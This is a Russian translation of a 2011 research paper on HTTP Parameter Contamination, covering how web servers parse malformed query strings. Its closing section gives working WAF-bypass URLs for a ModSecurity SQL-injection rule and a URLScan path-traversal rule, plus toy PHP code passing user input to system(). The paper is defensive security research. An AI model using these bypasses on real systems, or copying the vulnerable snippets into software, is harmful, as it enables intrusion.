Ivan Markovic ivan.markovic@netsec.rs
Network Security Solutions, Serbia 2011
Введение в HTTP Parameter Contamination ( HPC )
Термин «многозвенная архитектура» в разработке программного обеспечения означает клиент-серверную архитектуру, в которой представление данных, работа приложения и управление данными являются логически разделенными процессами. Архитектура многозвенных приложений предоставляет для разработчиков возможность создания гибких приложений многократного использования. После разделения приложения на звенья разработчикам нужно только изменить или добавить определенный уровень. Различия в обработке одной и той же информации на разных платформах могут привести к потенциальной логической ошибке или уязвимости в системе безопасности.
Давайте рассмотрим звенья Веб-сервиса:

Добавление более гибких уровней может потенциально открыть «двери» для множества новых направлений атак. Быстрая разработка приложений и стремительное развитие технологий делает применение разработок системы безопасности почти невозможным. Через некоторое время все ошибки исправляются.
Но что делать с уязвимостью, существующей много лет в самом популярном протоколе HTTP? Два года назад мы стали свидетелями нового подхода, использующего уязвимость в HTTP путем управления ограничителем строки запроса (&) - HTTP Parameter Pollution.
Вкратце, HTTP Parameter Pollution вставляет дополнительные ограничители запросов или дополнительные параметры с тем же именем в HTTP запрос для обхода некоторых ограничений безопасности за счет особенностей поведения различного вида платформ.
Исследование HTTP Parameter Pollution:
https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf
HTTP Parameter Contamination ( HPC). Эта идея возникла благодаря инновационному подходу, найденному в результате исследования HPP во время более глубокого изучения поведения компонентов Веб-серверов, Веб-приложений и браузеров, за счет засорения параметров запроса с использованием зарезервированных или непредвиденных символов.
Некоторые факты:
- Термин «Строка запроса» обычно используется для обозначения части между знаком “?” и концом URI
- Как определено в RFC 3986, строка запроса является последовательностью пар поле-значение
- Пары разделяются символами “&” или “;”
- RFC 2396 определяет два класса символов:
- Незарезервированные: a-z, A-Z, 0-9 и _ . ! ~ * ’ ( )
- Зарезервированные: ; / ? : @ & = + $ ,
- Неблагоразумные: { } | \ ^ [ ] `
Перечень Веб-серверов
Различные Веб-серверы ведут себя по-разному в зависимости от одновременной передачи множества параметров:
|
Технология/ HTTP сервер |
Общий результат синтаксического анализа |
Пример |
|
ASP .NET/IIS |
Все присутствия определенного параметра |
par1=val1,val2 |
|
ASP/IIS |
Все присутствия определенного параметра |
par1=val1,val2 |
|
PHP/Apache |
Последнее присутствие |
par1=val2 |
|
PHP/Zeus |
Последнее присутствие |
par1=val2 |
|
JSP,Servlet/Apache Tomcat |
Первое присутствие |
par1=val1 |
|
JSP,Servlet/Oracle Application Server 10g |
Первое присутствие |
par1=val1 |
|
JSP, Servlet/Jetty |
Первое присутствие |
par1=val1 |
|
IBM Lotus Domino |
Последнее присутствие |
par1=val2 |
|
IBM HTTP Server |
Первое присутствие |
par1=val1 |
|
mod_perl,libapreq2/Apache |
Первое присутствие |
par1=val1 |
|
Perl CGI/Apache |
Первое присутствие |
par1=val1 |
|
mod_perl,lib???/Apache |
Становится массивом |
ARRAY(0x8b9059c) |
|
mod_wsgi (Python)/Apache |
Первое присутствие |
par1=val1 |
|
Python/Zope |
Становится массивом |
[‘val1’, ‘val2’] |
|
IceWarp |
Последнее присутствие |
par1=val2 |
|
AXIS 2400 |
Все присутствия определенного параметра |
par1=val1,val2 |
|
Linksys Wireless-G PTZ Internet Camera |
Последнее присутствие |
par1=val2 |
|
Ricoh Aficio 1022 Printer |
Первое присутствие |
par1=val1 |
|
webcamXP PRO |
Первое присутствие |
par1=val1 |
|
DBMan |
Все присутствия определенного параметра |
par1=val1~~val2 |
Если мы применим идею HPC к HTTP серверу, мы получим следующие результаты:
|
Строка запроса |
Ответ Веб-сервера / GET значения |
Объяснение | ||
|
Apache/2.2.16/ PHP/5.3.3 |
Tomcat 6 / JSP |
IIS 6 / ASP | ||
|
?test[1=2 |
test_1=2 |
test[1=2 |
test[1=2 |
Квадратная скобка заменяется нижним подчеркиванием |
|
?test.1=2 |
test_1=2 |
test.1=2 |
test.1=2 |
Квадратная скобка заменяется нижним подчеркиванием |
|
?[1&d=2 |
d=2 |
[1 / d=2 |
[1&d=2 |
В первом случае игнорируется весь параметр, во втором – ограничитель запроса |
|
?1[]xx=2 |
1=array(2) |
1[]xx=2 |
1[]xx=2 |
Игнорируются символы между знаком массива и знаком равно |
|
?test+d=1+2 |
test_d=1 2 |
test d=1 2 |
test d=1 2 |
Первый знак + преобразуется в нижнее подчеркивание, второй – в пробел |
|
?test d=1 2 |
test_d=1 2 |
test_d=1 2 |
test_d=1 2 |
Первый пробел преобразуется в нижнее подчеркивание |
|
?test=% |
test=% |
NULL |
test= |
JSP игнорирует параметр, ASP игнорирует значение |
|
?test%x=1 |
tst%x=1 |
NULL |
testx=1 |
JSP игнорирует параметр, ASP игнорирует знак процента |
|
?test%00=1 |
test=1 |
test?=1 |
test=1 |
JSP включает NULL значение в параметр |
|
%test%00a=1 |
test=1 |
test?a=1 |
test=1 |
JSP включает NULL значение в параметр, другие игнорируют |
|
%test=1%001 |
NULL |
test=1?1 |
test=1 |
Apache игнорирует параметр, JSP включает NULL, ASP игнорирует |
|
?%00=1 |
NULL |
NULL=1 |
NULL |
JSP странно себя ведет, не выводит ключ |
|
|
Debian |
W2K3 |
| |
И если мы внимательно посмотрим на результаты в таблице, мы увидим различную логику обработки специально созданных запросов. Существует множество других веб-серверов, платформ и комбинаций специальных символов, но мы остановимся на этом.
Фрагмент программы, используемый в нашем исследовании:
PHP:
<?php
print_r($_SERVER['QUERY_STRING']);
echo '<br />';
print_r($_GET);
?>
JSP:
<%
java.util.Enumeration names = request.getParameterNames();
while(names.hasMoreElements()){
String keyx = names.nextElement().toString();
out.println(keyx + "=" + request.getParameter(keyx)); }
%>
ASP:
<%
dim item
For Each item In Request.QueryString
Response.Write(item & " = " & Request.QueryString(item) & "<br />")
Next
%>
Обход межсетевого экрана веб-приложения ( WAF )
Это направление атаки может быть использовано против межсетевых экранов веб-приложений, приложения, комбинирующего данные из QUERY_STRING и GET переменных, или приложения, использующего специальные символы для каких-либо дальнейших операций.
для переменных $_SERVER[‘argv’] в Apache/PHP нам нужно установить значение “register_ argc_ argv” на On.
- модель1; переполнение переменными: http:// localhost/? a=1+ b=2+ c=3
$varArrTemp = array(); // max 2 params
if(count($_GET) < 2) {
foreach($_SERVER[‘argv’] as $k=> $v) {
$varArrTemp[] = $v
} - модель2; обход waf : http :// localhost /? x [ y = a
if(strpos(“_”,$_SERVER[‘query_string’]) === false) {
system(key($_GET));
} - модель 3; проверка обхода системы безопасности: http :// localhost /? a []; some _ evil _ command ;=111
if(strpos(“some_evil_command”,$_GET[‘a’]) === false AND count($_GET) = 1) {
system(($_SERVER[‘argv’][0]);
}
Практические примеры
- Обойти правило SQL инъекции Mod_Security (modsecurity_crs_41_sql_injection_attacks.conf) <
Запрещено: http://localhost/?xp_cmdshell
Обход ([ => _): http://localhost/?xp[cmdshell
[Sun Jun 12 12:30:16 2011] [error] [client 192.168.2.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\bsys\\.user_objects\\b" at ARGS_NAMES:sys.user_objects. [file "/etc/apache2/conf.d/crs/activated_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "110"] [id "959519"] [rev "2.2.0"] [msg "Blind SQL Injection Attack"] [data "sys.user_objects"] [severity "CRITICAL"] [tag "WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "localhost"] [uri "/"] [unique_id "TfT3gH8AAQEAAAPyLQQAAAAA"]
- Обойти правило URLScan 3.1 DenyQueryStringSequences
Запрещено: http://192.168.2.105/test.asp?file=../bla.txt
Обход (.%. => ..): http://192.168.2.105/test.asp?file=.%./bla.txt
2011-06-25 13:35:37 192.168.2.102 1 GET /test.asp?file=../bla.txt Rejected disallowed+query+string+sequence query+string - ..
Заключение и дальнейшее исследование
Эти типы атак всегда представляют интерес, т.к. они открывают новые взгляды на проблемы безопасности. Множество приложений подвержено данным типам атак по причине отсутствия специальных правил для странного поведения веб-серверов.
HPC может использоваться для расширения HPP атак путем замены названия параметра в QUERY_STRING символом “%” на платформе IIS/ASP, если WAF блокирует подобные типы атак.
Мы продолжим с глубоким исследованием, рассматривающим эту проблему. Вы можете связаться с нами, если у вас есть интересный комментарий, замечание или идея.
Благодарности
- RSnake (http://ha.ckers.org/)
- j0rgan (http://www.remote-exploit.org/?page_id=2)
- lightos (http://sla.ckers.org/forum/read.php?3,36640)